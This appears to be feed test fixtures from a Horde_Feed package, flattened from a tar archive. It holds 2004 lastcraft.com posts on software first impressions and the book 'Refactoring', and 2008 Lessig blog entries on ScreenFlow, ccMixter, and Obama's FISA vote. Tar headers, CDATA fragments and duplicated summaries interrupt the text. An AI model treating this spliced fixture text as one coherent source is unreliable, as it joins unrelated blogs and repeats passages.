    First impressions mean a lot. We hate to believe this, but it’s true. When I used to teach I would find that the tone of the lesson was set within the first five minutes. The tone of the first five minutes would be set by how the children entered the classroom and the tone of that would be set by how I greeted them in the corridoor. It’s difficult to turn things around after a bad start.

    My first contact with your software is likely the web site with the download link. If the eyeball tracking studies are correct, I will read the title first and then start scanning for blue underlined text. I am already looking for the link marked “download now". As an aside, if I arrived at this page with a Linux browser from a UK IP, chances are I would like the Linux version from a European mirror, so please don’t ask. Assuming the file dialog opens straight away I can consign the thing to my home download folder and carry on reading your project landing page. This is where the fun begins.

    You have to hold my hand until the benefits of your project are obvious enough to warrent self study and experimentation, and I’m an unenthusiastic slow learner. We all constantly perform cost benefit analysis at everything we do, and if your project drops below my threshold for even a second I will ditch it and go on to something else. Instant gratification is best.

    The first and most difficult hurdle is clicking “install". Don’t think that’s much of a problem? Go to your personal download folder now and have a look around. Full of tar and zip files right? What percentage of those have you unpacked? Of those, how many have you installed? If you are anything like me, likely a third at most are doing more than acting as hard drive filler, and yet all I had to do was two clicks. If your landing page has a long list of install instructions I will even click the browser cancel button right now. The thought of any extra work is just too frightening.

    I may want doorstep convenience, but I don’t want you entering my house uninvited. Before you perform any install operation I would like to know exactly where you are putting stuff. It’s my computer and I like to keep it tidy when I can. I also want to be able to remove your program the instant I am disenchanted with it, and if I don’t think that’s possible I won’t install in the first place. My machine is stable right now and I want to keep it that way.

    If your program is GUI based then I’ll run it now. I want to do something straight away and I want to see a result. Wizards don’t help, because they do stuff that I don’t understand anyway. Chances are I want to read a file, or write a very simple one. I don’t want to create projects, import directories or fill in loads of personal preferences. Once I know that your software is working I will start on the tutorial.

    If your software is a programmer library then things are actually easier. I am going to carry on reading your web page and will read the “quick start” guide. I am going to follow the instructions on your page to the letter and I am not going to engage my brain in any way at all. I want to see the equivalent of “Hello world” in five lines of code or less with exactly the output described by your website. No big XML configuration files or templates to fill out, just a single script. Remember I have also downloaded your rival’s framework. You know, the one who always claims that his version is better than yours in the newsgroups? If everything seems to be working I’ll start on the tutorial.

    There is a tutorial isn’t there? One that talks to me at a level and in language I can understand?

    And if the tutorial starts to tell me how to solve my problem I’ll cheer up a bit. Once I am reading about the things I can now do it starts to get interesting, even fun. I’ll lean back and sip my tea - did I mention I was from the UK? - and I’ll play with your examples and learn to use your creation to solve my problem. If it does I’ll definitely send you a thank you e-mail. I’ll even send you bug reports when it crashes and suggestions for new features. And when you tell me that the feature already exists I’ll kick myself for not reading your manual and apologise to you profusely. I’ll tell all my friends how great your software is too, even though I never did try that other one from your rival. And it all happened because you had the care to help me through my first tentative step.

    How could I ever have doubted you?

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=11     The best software book ever http://www.lastcraft.com/blog/index.php?p=9 http://www.lastcraft.com/blog/index.php?p=9#comments Tue, 28 Sep 2004 12:48:03 +0000 Programming http://www.lastcraft.com/blog/index.php?p=9 Books should change people. That's difficult with such an abstract and subtle topic as OO. There is one book better at this than any other. Books should change people. This one does.

    This is not an easy thing to do, but it gets even harder with mental distance between the author and reader. When you first learn something you are in an ideal position to explain it to someone on your own level. I think that’s why learning in small groups is so effective. The group is less likely to get stuck as explanations cross polinate the group. Once you are a few rungs further up the ladder, though, too much seems obvious. Your explanation will skip vital steps, or simply not give enough time for your pupil to take things in. Once you learn a topic a little more thoroughly, you do start to teach it better and bridge the divide. That’s not enough in itself though. It takes a higher level of care to get sufficiently under the skin of a subject not just to understand it, but to know where the cognitive difficulties are to.

    John Holt, in his classic book “How Children Fail", describes a lecture where an educationist professor is teaching maths to children who have had extreme learning difficulties. I mean really extreme, to the point of being “retarded". He conducted this math lesson with coloured rods, each colour corresponding to a particular length. The test he set the children was so trivial you probably wouldn’t think it a problem at all.

    Both himself and all the children had a tray of different coloured rods. He took two length seven rods and sandwiched between them a length four rod. One end was flush with the other two, leaving a length three gap. The problem he set them was to find this length three rod. For them that was no easy task, but the clever part was next. He turned the ensemble upside down and let the four length drop out. The next task? Find the rod that fits in the gap. Yes, that was all. I don’t want to spoil the ending, but I defy you to read it and not have a tear in your eye.

    Fellow programmers don’t usually have that much of a gulf between them, but they do have more complex hurdles. One that is common to just about every programmer is understanding object oriented programming. Not just knowing encapsulation, polymorphism and inheritance, but actually being able to write their first program with objects.

    You don’t have to trawl forums and newsgroups very much to realise that this is a popular topic. You see a constant stream of cries for help from people all at sea. They don’t know how to start. They worry that their code is not “reusable". They don’t understand that something they could have written a simple function for seems to be taking three times as much code with objects. Likely they end up with one big class, or lot’s of classes that don’t seem to do anything. Or lot’s of classes that really don’t do anything. And then they add something and it’s all not reusable at all. Some give up and go back to scripting and some of these proclaim that OO is all hype and no one else should bother either.

    With such a difficult and well known barrier to cross you would have thought there would be plenty of books to help. There are, but many inject as much fear as they do information. Firing off patterns is not enough you see, we have to explain it a rung or two lower. That’s difficult with such an abstract and subtle topic. I have seen only one book that does this.

    Explaining a rung or two lower is clever enough, but this book does more. It doesn’t just take the explanation down to a level that every developer can understand, it turns the subject into a puzzle. Puzzles are fun. You can try them one way and you can try them another and see what happens. That’s the secret of a good puzzle. You want the player to be able to see ahead, but not so far that they see the whole solution. What was once overwhelming, now becomes a wealth of possibilities. That takes away the fear and fear is bad for learning. Fun is what you need and also the confidence that the tools you are using are the same tools as the experts.

    You wouldn’t think at first that the book is to do with fun. A large part of it is a rather tedious catalogue and I doubt anyone has read it all the way through. Luckily, I am not measuring success by pages read, but by impact. I can fling this book at an up and coming developer and know that three weeks later our conversation will resume on an altogether higher plane. It works every time and that’s astonishing.

    That book is “Refactoring” by Martin Fowler. Someone give that man an OBE.

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=9     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.lessig.org-blog-index.rdf0000664000175000017500000021112312653701626026411 0ustar janjan Lessig Blog tag:lessig.org,2008:/blog/1 2008-07-21T21:27:38Z Movable Type 3.35 one step until brilliant: ScreenFlow tag:lessig.org,2008:/blog//1.3569 2008-07-21T18:46:48Z 2008-07-21T21:27:38Z So readers of this blather will know that I've long struggled to find useful software for capturing and making available presentations I make, and that I've whined often about the flaws in everything that's out there. (See, e.g. this.) I prepare my presentations in Keynote which (alone) provides the key functionality critical to how I present -- good preview of the next slide, almost perfect ability to integrate other media, almost never forgetting links to existing media). I was therefore very happy when Keynote promised the ability to sync narration to a presentation. That happiness was short-lived, however, because except for short, media-bare presentations, I have never found the syncing function actually keeps synchronization. (Like selling a spreadsheet that can't multiply). ProfCast was a hopeful bet, but it has never thought it necessary to enable the capturing of transitions, or media. And so for those of us who obsess about making that stuff useful (maybe uselessly, of course), ProfCast simply won't work. SnapZPro was an almost perfect alternative, though for reasons similar to the complaint below, it is hard to use it when trying to capture an actual presentation (again, you've got to set up the screen capturing settings just before you record, which is awkward and awful when you're trying to launch a real presentation.) But I'm now very hopeful utopia has been found. ScreenFlow is an elegant and powerful program that captures a presentation and synchronizes it flawlessly. It even has post-production editing built in. And while I've hit some flakiness with long presentations (I'm a lawyer, what do you expect?) with media (genuine flakiness -- weird screen colors, apparent freezes for minutes at a time), almost always it has recovered and allowed me to save the sync. One extremely frustrating feature/bug with the program as it exists now is no simple way to link the launch of the program to the launch of a presentation. My flow is to get to a stage, and begin a presentation immediately. But ScreenFlow imagines I'll get to the stage, set the record preferences to capture the second screen (you can't set that preference until it actually sees the second screen), then launch the record, and then launch the presentation, and then when you're finished, exit the presentation and stop the recording. Twice now I've lost the recording because I've had to close the screen after the presentation and then when I tried to open it again, nothing was there. And even when it has worked, the steps to fire this up every time have been a huge hassle. Simplest and most obvious changes to make this almost perfect bit of heaven perfect: (1) Let me tell you in advance what you should be capturing, trusting you'll see it when I start. (2) Give me a simple way to link the launch of the recording to the start of the presentation, and same with the end. (3) Give me a simple way to get to the scratch file if there's a failure. Given the almost perfection of the system so far, I'm optimistic someone will get this right soon. So readers of this blather will know that I've long struggled to find useful software for capturing and making available presentations I make, and that I've whined often about the flaws in everything that's out there. (See, e.g. this.) I prepare my presentations in Keynote which (alone) provides the key functionality critical to how I present -- good preview of the next slide, almost perfect ability to integrate other media, almost never forgetting links to existing media). I was therefore very happy when Keynote promised the ability to sync narration to a presentation.

    That happiness was short-lived, however, because except for short, media-bare presentations, I have never found the syncing function actually keeps synchronization. (Like selling a spreadsheet that can't multiply).

    ProfCast was a hopeful bet, but it has never thought it necessary to enable the capturing of transitions, or media. And so for those of us who obsess about making that stuff useful (maybe uselessly, of course), ProfCast simply won't work.

    SnapZPro was an almost perfect alternative, though for reasons similar to the complaint below, it is hard to use it when trying to capture an actual presentation (again, you've got to set up the screen capturing settings just before you record, which is awkward and awful when you're trying to launch a real presentation.)


    But I'm now very hopeful utopia has been found. ScreenFlow is an elegant and powerful program that captures a presentation and synchronizes it flawlessly. It even has post-production editing built in. And while I've hit some flakiness with long presentations (I'm a lawyer, what do you expect?) with media (genuine flakiness -- weird screen colors, apparent freezes for minutes at a time), almost always it has recovered and allowed me to save the sync.

    One extremely frustrating feature/bug with the program as it exists now is no simple way to link the launch of the program to the launch of a presentation. My flow is to get to a stage, and begin a presentation immediately. But ScreenFlow imagines I'll get to the stage, set the record preferences to capture the second screen (you can't set that preference until it actually sees the second screen), then launch the record, and then launch the presentation, and then when you're finished, exit the presentation and stop the recording. Twice now I've lost the recording because I've had to close the screen after the presentation and then when I tried to open it again, nothing was there. And even when it has worked, the steps to fire this up every time have been a huge hassle.

    Simplest and most obvious changes to make this almost perfect bit of heaven perfect: (1) Let me tell you in advance what you should be capturing, trusting you'll see it when I start. (2) Give me a simple way to link the launch of the recording to the start of the presentation, and same with the end. (3) Give me a simple way to get to the scratch file if there's a failure.

    Given the almost perfection of the system so far, I'm optimistic someone will get this right soon.

    ]]>     ccMixter on the block tag:lessig.org,2008:/blog//1.3568 2008-07-20T15:28:06Z 2008-07-20T15:31:52Z As I described before, ccMixter is up for sale. You can read a Q&A about the RFP here. Get your proposals in. As I described before, ccMixter is up for sale. You can read a Q&A about the RFP here. Get your proposals in.

    ]]>     When public financing isn't tag:lessig.org,2008:/blog//1.3567 2008-07-20T15:21:36Z 2008-07-20T15:27:34Z San Francisco has what supporters call "VoterOwnedElections" — aka, public funding of (some) public elections. That's a good thing, as most in the city believe. But now the city council, apparently pushed by the (apparently not as progressive as we thought) Mayor, is planning on raiding the public campaign financing fund. The key Supervisors to contact are Supervisors Maxwell, Dufty, and Sandoval. San Francisco has what supporters call "VoterOwnedElections" — aka, public funding of (some) public elections. That's a good thing, as most in the city believe. But now the city council, apparently pushed by the (apparently not as progressive as we thought) Mayor, is planning on raiding the public campaign financing fund. The key Supervisors to contact are Supervisors Maxwell, Dufty, and Sandoval.

    ]]>     for the first time in history: Congress' single digit job rating tag:lessig.org,2008:/blog//1.3566 2008-07-14T13:59:30Z 2008-07-14T15:38:45Z The percentage of Americans believing Congress is doing a good/excellent job. Rasmussen says it is the lowest in history. Change Congress.
    9.001.png

    The percentage of Americans believing Congress is doing a good/excellent job. Rasmussen says it is the lowest in history.

    Change Congress.

    ]]>     gt r Cngss 2 tweet tag:lessig.org,2008:/blog//1.3565 2008-07-11T16:13:01Z 2008-07-11T16:17:10Z Sign the petition.

    Sign the petition.

    ]]>     The immunity hysteria tag:lessig.org,2008:/blog//1.3564 2008-07-10T17:11:11Z 2008-07-10T21:37:13Z The hysteria that has broken out among we on the left in response to Obama's voting for the FISA compromise was totally predictable. Some more cynical types might say, so predictable as to be planned. National campaigns are dominated by people who believe a leftist can't be elected to national office. That means events that signal a candidate is not a leftist are critical for any election to national office. But without becoming part of the cynical plan, some reactions to the outrage.Obama is no (in the 1970s sense) "liberal": There are many who are upset by this who believe this (and other recent moves) shows Obama "moving to the center." People who make this argument signal they don't know squat about which they speak. You can't read Obama's books, watch how he behaved in the Illinois Senate, and watched how he voted in the US Senate, and believe he is a Bernie Sanders liberal. He is not now, and nor has ever been. That's not to say there aren't issues on which he takes a liberal position. It is to say that the mix of views he actually has and has had doesn't map on a 1970s spectrum of liberals to conservative. He is not, for example, "against the market," as so many on the left still make it sound like they are. He is for same-sex civil unions. So if you're upset with Obama because you see him shifting, you should actually be upset with yourself that you have been so careless in understanding the politics of this candidate. Obama has not shifted in his opposition to immunity for telcos: As he has consistently indicated, he opposes immunity. He voted to strip immunity from the FISA compromise. He has promised to repeal the immunity as president. His vote for the FISA compromise is thus not a vote for immunity. It is a vote that reflects the judgment that securing the amendments to FISA was more important than denying immunity to telcos. Whether you agree with that judgment or not, we should at least recognize (hysteria notwithstanding) what kind of judgment it was. The amendments to FISA were good. Getting a regime that requires the executive to obey the law is important. Whether it is more important than telco immunity is a question upon which sensible people might well differ. And critically, the job of a Senator is to weigh the importance of these different issues and decide, on balance, which outweighs the other. This is not an easy task. I don't know, for example, how I personally would have made the call. I certainly think immunity for telcos is wrong. I especially think it wrong to forgive campaign contributing telco companies for violating the law while sending soldiers to jail for violating the law. But I also think the FISA bill (excepting the immunity provision) was progress. So whether that progress was more important than the immunity is, I think, a hard question. And I can well understand those (including some friends) who weigh the two together, and come down as Obama did (voting in favor). Obama's shift was in his promise, as relayed by a member of his staff, to filibuster any bill with telco immunity: First, and most obviously, that promise was a stupid promise. However important holding telcos responsible is, certainly there is something more important that Congress could have done. E.g., if telco immunity were tied to a bill requiring a 70% reduction in green house gases by 2015, would it make sense to filibuster that bill? But second, even given it was a stupid promise, in my view, it was political mistake to change -- even if it was the right thing to do from the perspective of a U.S. Senator. It was a political mistake for the reasons I've already explained: it was self-Swiftboating. This shift is fuel for the inevitable "flip-flop" campaign already being launched by the Right. Their need to fuel this campaign is all the more urgent because of the extraordinary "flip-flops" of their own candidate. So anyone with half a wit about this campaign should have recognized that this shift would be kryptonite for the Barack "is different" Obama image. Just exactly the sort of gift an apparently doomed campaign (McCain) needs. But again, to say it was a political mistake is not to say it was a mistake of governance. To do right (from the perspective of governance) is often to do wrong (from the perspective of politics). (JFK won a Pulitzer for his book about precisely this point.) So at most, critics like myself can say of this decision that it was bad politics, even if it might well have been good governance. Bad politics because it would be used to suggest Obama is a man of no principle, when Obama is, in my view, a man of principle, and when it is so critical to the campaign to keep that image front and center. Unless, of course, it was good politics: I actually don't personally believe that this was a decision motivated by politics, because, again, I've seen the actual struggle of some who advised on this issue (and I wasn't one of those few), but we should recognize, of course, that this decision to pick a fight with us liberals may well have been worth more than the campaign would lose by this one clear example of flipping. And here, if you let cynical instincts run wild, there's no limit to the games that might be imagined. For what better way to demonstrate (accurately, again, for remember #1 above) that Obama is not beholden to the left than by this very visible fight that Obama doesn't cave in on. When I received the blast from Moveon, demanding that Obama reverse himself (again), it was absolutely clear that he wouldn't. For how could he reverse himself then, and avoid the tag of being tied to the left? And certainly (more cynicism) Moveon recognized this. What greater gift than a chance to act independently of a movement that (while good and right and true, in my liberal view) is not anymore a spokesman for the swing votes that will decide this election. But assume you reject #4 completely. Then one more thought: Isn't it time for Obama to resign from the Senate? Why should he allow the weird framing of issues that will come from this spineless institution to define his campaign? (Notice, McCain didn't even deign to show up.) Why not simply confess to his constituents that he can't do his job as United States Senator from Illinois while running for President of the United States. That the clarity of message necessary for the latter isn't consistent with the obligation of compromise required for the former? Finally, and 2bc: please, fellow liberals, or leftists, or progressives, get off your high horse(s). More on this with the next post but: it is not "compromising" to recognize that we are part of a democracy. We on the left may be right. We may be the position to which the country eventually gets. But we have not yet earned the status of a majority. And to start this chant of "principled rejection" of Obama because he is not as pure as we is, in a word, idiotic (read: Naderesque). That taunt will be continued. The hysteria that has broken out among we on the left in response to Obama's voting for the FISA compromise was totally predictable. Some more cynical types might say, so predictable as to be planned. National campaigns are dominated by people who believe a leftist can't be elected to national office. That means events that signal a candidate is not a leftist are critical for any election to national office.

    But without becoming part of the cynical plan, some reactions to the outrage.

    1. Obama is no (in the 1970s sense) "liberal": There are many who are upset by this who believe this (and other recent moves) shows Obama "moving to the center." People who make this argument signal they don't know squat about which they speak. You can't read Obama's books, watch how he behaved in the Illinois Senate, and watched how he voted in the US Senate, and believe he is a Bernie Sanders liberal. He is not now, and nor has ever been. That's not to say there aren't issues on which he takes a liberal position. It is to say that the mix of views he actually has and has had doesn't map on a 1970s spectrum of liberals to conservative. He is not, for example, "against the market," as so many on the left still make it sound like they are. He is for same-sex civil unions. So if you're upset with Obama because you see him shifting, you should actually be upset with yourself that you have been so careless in understanding the politics of this candidate.

    2. Obama has not shifted in his opposition to immunity for telcos: As he has consistently indicated, he opposes immunity. He voted to strip immunity from the FISA compromise. He has promised to repeal the immunity as president. His vote for the FISA compromise is thus not a vote for immunity. It is a vote that reflects the judgment that securing the amendments to FISA was more important than denying immunity to telcos. Whether you agree with that judgment or not, we should at least recognize (hysteria notwithstanding) what kind of judgment it was. The amendments to FISA were good. Getting a regime that requires the executive to obey the law is important. Whether it is more important than telco immunity is a question upon which sensible people might well differ. And critically, the job of a Senator is to weigh the importance of these different issues and decide, on balance, which outweighs the other.

      This is not an easy task. I don't know, for example, how I personally would have made the call. I certainly think immunity for telcos is wrong. I especially think it wrong to forgive campaign contributing telco companies for violating the law while sending soldiers to jail for violating the law. But I also think the FISA bill (excepting the immunity provision) was progress. So whether that progress was more important than the immunity is, I think, a hard question. And I can well understand those (including some friends) who weigh the two together, and come down as Obama did (voting in favor).

    3. Obama's shift was in his promise, as relayed by a member of his staff, to filibuster any bill with telco immunity: First, and most obviously, that promise was a stupid promise. However important holding telcos responsible is, certainly there is something more important that Congress could have done. E.g., if telco immunity were tied to a bill requiring a 70% reduction in green house gases by 2015, would it make sense to filibuster that bill?

      But second, even given it was a stupid promise, in my view, it was political mistake to change -- even if it was the right thing to do from the perspective of a U.S. Senator.

      It was a political mistake for the reasons I've already explained: it was self-Swiftboating. This shift is fuel for the inevitable "flip-flop" campaign already being launched by the Right. Their need to fuel this campaign is all the more urgent because of the extraordinary "flip-flops" of their own candidate. So anyone with half a wit about this campaign should have recognized that this shift would be kryptonite for the Barack "is different" Obama image. Just exactly the sort of gift an apparently doomed campaign (McCain) needs.

      But again, to say it was a political mistake is not to say it was a mistake of governance. To do right (from the perspective of governance) is often to do wrong (from the perspective of politics). (JFK won a Pulitzer for his book about precisely this point.) So at most, critics like myself can say of this decision that it was bad politics, even if it might well have been good governance. Bad politics because it would be used to suggest Obama is a man of no principle, when Obama is, in my view, a man of principle, and when it is so critical to the campaign to keep that image front and center.

    4. Unless, of course, it was good politics: I actually don't personally believe that this was a decision motivated by politics, because, again, I've seen the actual struggle of some who advised on this issue (and I wasn't one of those few), but we should recognize, of course, that this decision to pick a fight with us liberals may well have been worth more than the campaign would lose by this one clear example of flipping. And here, if you let cynical instincts run wild, there's no limit to the games that might be imagined. For what better way to demonstrate (accurately, again, for remember #1 above) that Obama is not beholden to the left than by this very visible fight that Obama doesn't cave in on. When I received the blast from Moveon, demanding that Obama reverse himself (again), it was absolutely clear that he wouldn't. For how could he reverse himself then, and avoid the tag of being tied to the left? And certainly (more cynicism) Moveon recognized this. What greater gift than a chance to act independently of a movement that (while good and right and true, in my liberal view) is not anymore a spokesman for the swing votes that will decide this election.

    5. But assume you reject #4 completely. Then one more thought: Isn't it time for Obama to resign from the Senate? Why should he allow the weird framing of issues that will come from this spineless institution to define his campaign? (Notice, McCain didn't even deign to show up.) Why not simply confess to his constituents that he can't do his job as United States Senator from Illinois while running for President of the United States. That the clarity of message necessary for the latter isn't consistent with the obligation of compromise required for the former?

    6. Finally, and 2bc: please, fellow liberals, or leftists, or progressives, get off your high horse(s). More on this with the next post but: it is not "compromising" to recognize that we are part of a democracy. We on the left may be right. We may be the position to which the country eventually gets. But we have not yet earned the status of a majority. And to start this chant of "principled rejection" of Obama because he is not as pure as we is, in a word, idiotic (read: Naderesque).

      That taunt will be continued.

      ]]> An Aspen Ideas Festival Big Idea tag:lessig.org,2008:/blog//1.3563 2008-07-09T14:12:33Z 2008-07-09T14:26:30Z A congressperson in the Aspen Ideas Festival audience was not happy.

      A congressperson in the Aspen Ideas Festival audience was not happy.

      ]]>       next up: Netroots tag:lessig.org,2008:/blog//1.3562 2008-07-07T19:06:47Z 2008-07-07T19:12:44Z The latest REV on the Change-Congress circuit happens in Austin, July 19. Cheap(er) registration available here (the benefits you get by hanging with such a connected guy here).

      The latest REV on the Change-Congress circuit happens in Austin, July 19. Cheap(er) registration available here (the benefits you get by hanging with such a connected guy here).

      ]]>       Self-Swiftboating tag:lessig.org,2008:/blog//1.3561 2008-07-07T14:12:46Z 2008-07-08T12:01:33Z [breaking my "focus" injunction]: All signs point to an Obama victory this fall. If the signs are wrong, it will be because of events last month. These events constitute a so-far-unnamed phenomenon in Presidential campaigning -- what we could call "self-Swiftboating." To understand "self-Swiftboating," you've got to first understand "Swiftboating." Some use the term "Swiftboating" to refer to harsh, even vicious attacks on an opponent. I use the term in a more restrictive sense: "Swiftboating" is (1) attacking the strongest bits of a candidate's character, with (2) false or misleading allegations. That was what Kerry suffered -- attacking his courage as a soldier, the characteristic that distinguished him most from Bush, with misleading (at least) allegations by some who knew him when he served. Self-Swiftboating is to Swiftboat yourself: For a campaign to do something that has the effect of undermining its own candidate's strongest characteristic, with actions that are (at best) misleading. The Obama campaign has now self-Swiftboated candidate Obama. (1) An attack on a core characteristic: There are at least two views about what makes Obama so compelling. One that he happens to have the mix of positions on policy questions that best matches the public's. The other that he is perceived by the public as "different," and hence (given the public hates politicians so) someone the public can like, or more significantly, get enthusiastic about. I'm strongly in the second camp. It seems to me nothing more than consultant-think to imagine people choosing a President with a checklist of issues, finding the one to vote for the way they pick a place to vacation. It seems to me nothing less than obvious that people are passionate about Obama because he strikes them as a different kind of candidate -- one that stands for his beliefs, that speaks clearly and directly, that can be trusted to stick by his beliefs, that says what he believes regardless. Such a creature, in most people's minds, is "not a politician." Such a creature (i.e., "not a politician") is what people want in a President. Democrats never seem to get this. The last two campaigns were lost (in my view) because the campaign was working overtime to bob and weave to match the program of the candidate to the pollsters' latest work. That the shifts would signal that the candidate was nothing different just didn't seem to compute. Better, for example, to have people believe the candidate (Kerry) was against gay marriage than to worry that most would see the position as a political ploy. Republicans, on the other hand, seem obsessed with this. It was the defining feature of the success of Reagan that he made it appear as if he did what he believed, not what the polls said. It was the part Bush v2 mimicked best. It is the clear dream of the McCain campaign to do the same. "You may not like what I say, but at least you know where I stand" is the signal virtue in a GOP campaign. It is the signal blindness of a Democratic campaign. I am not saying that Republicans are consistent and Democrats not. I am saying something very different: that Republicans believe appearing consistent/principled/different is the key to victory, where as Democrats (apparently) do not. The Obama self-Swiftboating comes from a month of decisions that, while perhaps better tuning the policy positions of the campaign to what is good, or true, or right, or even expedient, completely undermine Obama's signal virtue -- that he's different. We've handed the other side a string of examples that they will now use to argue (as Senator Graham did most effectively on Meet the Press) that Obama is nothing different, he's just another politician, and that even if you believe that McCain too is just another politician, between these two ordinary politicians, pick the one with the most experience. The Obama campaign seems just blind to the fact that these flips eat away at the most important asset Obama has. It seems oblivious to the consequence of another election in which (many) Democrats aren't deeply motivated to vote (consequence: the GOP wins). Instead, and weirdly, the campaign seems focused on the very last thing a campaign should be doing during a campaign -- governing. This is not a try-out. A campaign is not a dry run for running government. Yet policy wonks inside the campaign sputter policy that Obama listens to and follows, again, apparently oblivious to how following that advice, when inconsistent with the positions taken in the past, just reinforces the other side's campaign claim that Obama is just another calculating, unprincipled politician. The best evidence that they don't get this is Telco Immunity. Obama said he would filibuster a FISA bill with Telco Immunity in it. He has now signaled he won't. When you talk to people close to the campaign about this, they say stuff like: "Come on, who really cares about that issue? Does anyone think the left is going to vote for McCain rather than Obama? This was a hard question. We tried to get it right. And anyway, the FISA compromise in the bill was a good one." But the point is that the point is not the substance of the issue. I'd argue until the cows come home that in a world where soldiers go to prison for breaking the law, the government shouldn't be giving immunity to (generous campaign contributing) companies who break the law. But a mistake about substance is not why this flip is a mistake. I agree that a tiny proportion of the world thinks defeating Telco Immunity is important. The vast majority don't even understand the issue. But what this perspective misses is just how easy it will be to use this (clear) flip in policy positions to support the argument "Obama is no different." Here, and in other places, the campaign hands the other side kryptonite. The issue cannot just be the substance alone. It has got to also be how a change on that substance will be perceived: And here (as with the other flips), it will be perceived in a manner that can't help but erode the most important core of the Obama machine. It is behavior that attacks Obama's strongest feature -- that he is different. It is, therefore, Swiftboating. Or at least, it is Swiftboating if it is false. So is it? Is the impression that this bobbing and weaving gives a misimpression? Or are we seeing, as the pundits are now beginning to chant, the true face of Obama? (2) That is false or misleading: It is false. I know it is false because I believe I know the man, and because I know some inside the campaign struggling with these issues. I see them struggling to get it right. They are struggling, in short, to govern. The ones I know at least are not bobbing and weaving for political gain. They're tuning the campaign as governing best requires. The flip on Telco Immunity gave Obama nothing, except the opportunity to do what he believes is right, in light of the compromises in the new bill. He acted to do what he believed was right. So the impression it gives -- of a triangulator, tuning the campaign to the song of the polls -- is misimpression. But that means it fits the definition of self-Swiftboating: The campaign sabotages its strongest characteristic, through steps that are misleading at best. The campaign needs to stop this. This is not the time for governing. It is the time for making clear precisely what kind of President Obama will be. But in making that clear, it is critical to keep a focus on how actions are perceived. Will they signal a triangulator? Or will they signal a strong, principled man who stands for what he believes. No doubt, compromise is the duty of anyone within government. But in the ADD culture we live in, compromise is poison to anyone trying to do what every politician now tries to do -- appear not to be "a politician." And thus if the oath to represent Illinois is getting in the way of signaling who Obama is, then maybe it is time to step away from being a Senator from Illinois. This is the time to keep the message focused on who (I know) this man is: someone different. Hey HQ: You've got a guy who really stands for something (the tall thin guy, the one from Illinois). A man whose word really does matter. You've got to be extraordinarily careful not to give the other side the power to neutralize that. [breaking my "focus" injunction]:

      All signs point to an Obama victory this fall. If the signs are wrong, it will be because of events last month. These events constitute a so-far-unnamed phenomenon in Presidential campaigning -- what we could call "self-Swiftboating." To understand "self-Swiftboating," you've got to first understand "Swiftboating."

      Some use the term "Swiftboating" to refer to harsh, even vicious attacks on an opponent. I use the term in a more restrictive sense: "Swiftboating" is (1) attacking the strongest bits of a candidate's character, with (2) false or misleading allegations. That was what Kerry suffered -- attacking his courage as a soldier, the characteristic that distinguished him most from Bush, with misleading (at least) allegations by some who knew him when he served.

      Self-Swiftboating is to Swiftboat yourself: For a campaign to do something that has the effect of undermining its own candidate's strongest characteristic, with actions that are (at best) misleading. The Obama campaign has now self-Swiftboated candidate Obama.

      (1) An attack on a core characteristic: There are at least two views about what makes Obama so compelling. One that he happens to have the mix of positions on policy questions that best matches the public's. The other that he is perceived by the public as "different," and hence (given the public hates politicians so) someone the public can like, or more significantly, get enthusiastic about.

      I'm strongly in the second camp. It seems to me nothing more than consultant-think to imagine people choosing a President with a checklist of issues, finding the one to vote for the way they pick a place to vacation. It seems to me nothing less than obvious that people are passionate about Obama because he strikes them as a different kind of candidate -- one that stands for his beliefs, that speaks clearly and directly, that can be trusted to stick by his beliefs, that says what he believes regardless. Such a creature, in most people's minds, is "not a politician." Such a creature (i.e., "not a politician") is what people want in a President.

      Democrats never seem to get this. The last two campaigns were lost (in my view) because the campaign was working overtime to bob and weave to match the program of the candidate to the pollsters' latest work. That the shifts would signal that the candidate was nothing different just didn't seem to compute. Better, for example, to have people believe the candidate (Kerry) was against gay marriage than to worry that most would see the position as a political ploy.

      Republicans, on the other hand, seem obsessed with this. It was the defining feature of the success of Reagan that he made it appear as if he did what he believed, not what the polls said. It was the part Bush v2 mimicked best. It is the clear dream of the McCain campaign to do the same. "You may not like what I say, but at least you know where I stand" is the signal virtue in a GOP campaign. It is the signal blindness of a Democratic campaign.

      I am not saying that Republicans are consistent and Democrats not. I am saying something very different: that Republicans believe appearing consistent/principled/different is the key to victory, where as Democrats (apparently) do not.

      The Obama self-Swiftboating comes from a month of decisions that, while perhaps better tuning the policy positions of the campaign to what is good, or true, or right, or even expedient, completely undermine Obama's signal virtue -- that he's different. We've handed the other side a string of examples that they will now use to argue (as Senator Graham did most effectively on Meet the Press) that Obama is nothing different, he's just another politician, and that even if you believe that McCain too is just another politician, between these two ordinary politicians, pick the one with the most experience.

      The Obama campaign seems just blind to the fact that these flips eat away at the most important asset Obama has. It seems oblivious to the consequence of another election in which (many) Democrats aren't deeply motivated to vote (consequence: the GOP wins).

      Instead, and weirdly, the campaign seems focused on the very last thing a campaign should be doing during a campaign -- governing. This is not a try-out. A campaign is not a dry run for running government. Yet policy wonks inside the campaign sputter policy that Obama listens to and follows, again, apparently oblivious to how following that advice, when inconsistent with the positions taken in the past, just reinforces the other side's campaign claim that Obama is just another calculating, unprincipled politician.

      The best evidence that they don't get this is Telco Immunity. Obama said he would filibuster a FISA bill with Telco Immunity in it. He has now signaled he won't. When you talk to people close to the campaign about this, they say stuff like: "Come on, who really cares about that issue? Does anyone think the left is going to vote for McCain rather than Obama? This was a hard question. We tried to get it right. And anyway, the FISA compromise in the bill was a good one."

      But the point is that the point is not the substance of the issue. I'd argue until the cows come home that in a world where soldiers go to prison for breaking the law, the government shouldn't be giving immunity to (generous campaign contributing) companies who break the law. But a mistake about substance is not why this flip is a mistake. I agree that a tiny proportion of the world thinks defeating Telco Immunity is important. The vast majority don't even understand the issue. But what this perspective misses is just how easy it will be to use this (clear) flip in policy positions to support the argument "Obama is no different." Here, and in other places, the campaign hands the other side kryptonite.

      The issue cannot just be the substance alone. It has got to also be how a change on that substance will be perceived: And here (as with the other flips), it will be perceived in a manner that can't help but erode the most important core of the Obama machine. It is behavior that attacks Obama's strongest feature -- that he is different. It is, therefore, Swiftboating.

      Or at least, it is Swiftboating if it is false. So is it? Is the impression that this bobbing and weaving gives a misimpression? Or are we seeing, as the pundits are now beginning to chant, the true face of Obama?

